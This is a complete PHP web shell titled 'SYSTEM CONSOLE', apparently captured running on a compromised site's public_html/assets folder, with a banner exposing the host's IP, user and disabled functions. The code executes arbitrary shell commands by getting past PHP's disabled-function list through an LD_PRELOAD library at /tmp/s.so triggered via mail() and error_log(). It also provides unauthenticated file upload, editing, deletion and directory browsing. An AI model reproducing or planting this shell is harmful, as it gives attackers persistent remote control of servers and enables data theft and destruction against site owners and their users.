| Server IP : 27.254.152.13 / Your IP : 216.73.217.38 Web Server : Apache/2 System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64 User : coloflew ( 1072) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/coloflew/public_html/assets/ |
Upload File : |
<?php
/**
* SYSTEM CONSOLE // PREMIUM v2.0
* Optimized for PHP 5.3 + Bypass
*/
error_reporting(0);
$so_path = "/tmp/s.so";
// BYPASS EXECUTION
function run_cmd($cmd, $dir) {
global $so_path;
$out = "/tmp/.o".time();
putenv("EVIL_CMDLINE=cd $dir && $cmd > $out 2>&1");
putenv("LD_PRELOAD=$so_path");
@error_log("a", 1, "b");
@mail("a","b","c");
$res = @file_get_contents($out);
@unlink($out);
return $res;
}
$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
if (!is_dir($path)) $path = getcwd();
$path = realpath($path);
// HANDLE ACTIONS
if (isset($_POST['action'])) {
$act = $_POST['action'];
if ($act == 'cmd') { echo run_cmd($_POST['cmd'], $_POST['dir']); exit; }
if ($act == 'save') { file_put_contents($_POST['file'], $_POST['content']); header("Location: ?path=".dirname($_POST['file'])); exit; }
if ($act == 'upload') { move_uploaded_file($_FILES['file']['tmp_name'], $path."/".$_FILES['file']['name']); header("Location: ?path=$path"); exit; }
if ($act == 'delete') { unlink($_POST['file']); echo "OK"; exit; }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SYSTEM CONSOLE</title>
<style>
:root { --bg: #0d1117; --card: #161b22; --border: #30363d; --text: #c9d1d9; --accent: #58a6ff; --danger: #f85149; --success: #3fb950; }
body { background: var(--bg); color: var(--text); font-family: -apple-system, system-ui, sans-serif; margin: 0; line-height: 1.5; }
.glass { background: rgba(22, 27, 34, 0.8); backdrop-filter: blur(10px); -webkit-backdrop-filter: blur(10px); }
header { position: sticky; top: 0; z-index: 10; padding: 1rem 1.5rem; border-bottom: 1px solid var(--border); display: flex; justify-content: space-between; align-items: center; box-shadow: 0 4px 10px rgba(0,0,0,0.3); }
.container { padding: 1.5rem; max-width: 1100px; margin: auto; }
.card { background: var(--card); border: 1px solid var(--border); border-radius: 12px; overflow: hidden; margin-bottom: 1.5rem; box-shadow: 0 8px 16px rgba(0,0,0,0.15); }
.breadcrumb { margin-bottom: 1rem; font-size: 0.9rem; }
.breadcrumb a { color: var(--accent); text-decoration: none; padding: 2px 4px; border-radius: 4px; }
.breadcrumb a:hover { background: rgba(88, 166, 255, 0.1); }
table { width: 100%; border-collapse: collapse; }
th { text-align: left; padding: 1rem; background: rgba(255,255,255,0.03); color: #8b949e; font-weight: 600; font-size: 0.8rem; text-transform: uppercase; }
td { padding: 0.8rem 1rem; border-bottom: 1px solid var(--border); transition: 0.2s; }
tr:hover td { background: rgba(255,255,255,0.02); }
.btn { border: none; padding: 8px 16px; border-radius: 8px; cursor: pointer; font-size: 0.85rem; font-weight: 600; transition: 0.2s; outline: none; }
.btn:active { transform: scale(0.95); }
.btn-green { background: var(--success); color: #fff; }
.btn-danger { background: rgba(248, 81, 73, 0.1); color: var(--danger); border: 1px solid rgba(248, 81, 73, 0.2); }
.btn-danger:hover { background: var(--danger); color: #fff; }
.btn-blue { background: var(--accent); color: #fff; }
.terminal { background: #000; padding: 1rem; border-radius: 12px; border: 1px solid var(--border); margin-top: 1rem; }
#term-out { height: 250px; overflow-y: auto; font-family: 'SFMono-Regular', Consolas, monospace; line-height: 1.4; color: #8b949e; font-size: 0.85rem; }
input[type=text], textarea { width: 100%; background: #090c10; border: 1px solid var(--border); color: #fff; border-radius: 8px; padding: 12px; box-sizing: border-box; outline: none; transition: 0.3s; }
input[type=text]:focus { border-color: var(--accent); box-shadow: 0 0 0 2px rgba(88, 166, 255, 0.2); }
.file-icon { width: 18px; margin-right: 8px; opacity: 0.7; }
@media (max-width: 600px) { th:nth-child(2), td:nth-child(2) { display: none; } .container { padding: 0.8rem; } }
</style>
</head>
<body>
<header class="glass">
<div style="font-weight: 700; font-size: 1.1rem; letter-spacing: -0.5px;">SYSTEM CONSOLE</div>
<div style="font-size: 0.8rem; opacity: 0.8;">PHP <?php echo PHP_VERSION; ?> | <span style="color:var(--success)">BYPASS ON</span></div>
</header>
<div class="container">
<div class="breadcrumb">
<?php
$parts = explode(DIRECTORY_SEPARATOR, $path); $c = "";
foreach($parts as $p) { $c .= $p . DIRECTORY_SEPARATOR; echo "<a href='?path=".urlencode($c)."'>$p</a> / "; }
?>
</div>
<div class="card" style="padding:1.5rem; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 1rem;">
<form action="?path=<?php echo urlencode($path); ?>" method="POST" enctype="multipart/form-data" style="display: flex; gap: 0.5rem;">
<input type="hidden" name="action" value="upload">
<input type="file" name="file" style="font-size: 0.8rem;">
<button type="submit" class="btn btn-green">Upload</button>
</form>
</div>
<div class="card">
<table>
<thead><tr><th>Name</th><th>Size</th><th style="text-align:right">Actions</th></tr></thead>
<tbody>
<tr><td><a href="?path=<?php echo urlencode(dirname($path)); ?>" style="color:var(--accent); font-size: 0.9rem;">.. / Parent</a></td><td></td><td></td></tr>
<?php
$items = scandir($path);
foreach($items as $i) { if($i == "." || $i == "..") continue;
$f = $path.DIRECTORY_SEPARATOR.$i; $isD = is_dir($f);
echo "<tr>";
echo "<td><a href='?path=".urlencode($isD?$f:$path)."&edit=".urlencode($isD?"":$f)."' style='color:".($isD?"#ffa657":"var(--text)")."; text-decoration:none; display:flex; align-items:center;'>".($isD?" ":" ")."$i</a></td>";
echo "<td>".($isD?"-":round(filesize($f)/1024,1)." KB")."</td>";
echo "<td style='text-align:right'>";
if(!$isD) echo "<a href='?path=$path&edit=".urlencode($f)."' class='btn btn-blue' style='padding:4px 10px; margin-right:4px; text-decoration:none;'>Edit</a>";
echo "<button onclick=\"del('$f')\" class='btn btn-danger' style='padding:4px 10px;'>Del</button>";
echo "</td></tr>";
}
?>
</tbody>
</table>
</div>
<?php if(isset($_GET['edit'])): ?>
<div class="card" style="padding:1.5rem;">
<h3 style="margin-top:0;">Edit: <?php echo basename($_GET['edit']); ?></h3>
<form method="POST"><input type="hidden" name="action" value="save"><input type="hidden" name="file" value="<?php echo $_GET['edit']; ?>">
<textarea name="content" style="height:350px; font-family:monospace;"><?php echo htmlspecialchars(file_get_contents($_GET['edit'])); ?></textarea>
<div style="margin-top:1rem; text-align:right;"><button type="submit" class="btn btn-blue">Save Changes</button></div>
</form>
</div>
<?php endif; ?>
<div class="terminal">
<div id="term-out">Console Ready. System: <?php echo php_uname(); ?></div>
<div style="display:flex; margin-top:10px;"><span style="color:var(--success); margin-right:10px;">$</span><input type="text" id="term-in" placeholder="Enter command..." autocomplete="off"></div>
</div>
</div>
<script>
function del(f) { if(confirm('Delete ' + f + '?')) { var xhr = new XMLHttpRequest(); xhr.open('POST','',true); xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); xhr.onreadystatechange = function(){ if(xhr.readyState==4&&xhr.responseText=="OK") location.reload(); }; xhr.send('action=delete&file='+encodeURIComponent(f)); } }
var i = document.getElementById('term-in'); i.addEventListener('keydown', function(e) { if(e.key==='Enter') { var c = i.value; i.value=''; var o = document.getElementById('term-out'); o.innerHTML += "\n<span style='color:var(--accent)'>$ " + c + "</span>\n"; var x = new XMLHttpRequest(); x.open('POST','',true); x.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); x.onreadystatechange = function(){ if(x.readyState==4){ o.innerHTML += x.responseText; o.scrollTop = o.scrollHeight; } }; x.send('action=cmd&cmd='+encodeURIComponent(c)+'&dir='+encodeURIComponent('<?php echo addslashes($path); ?>')); } });
</script>
</body>
</html>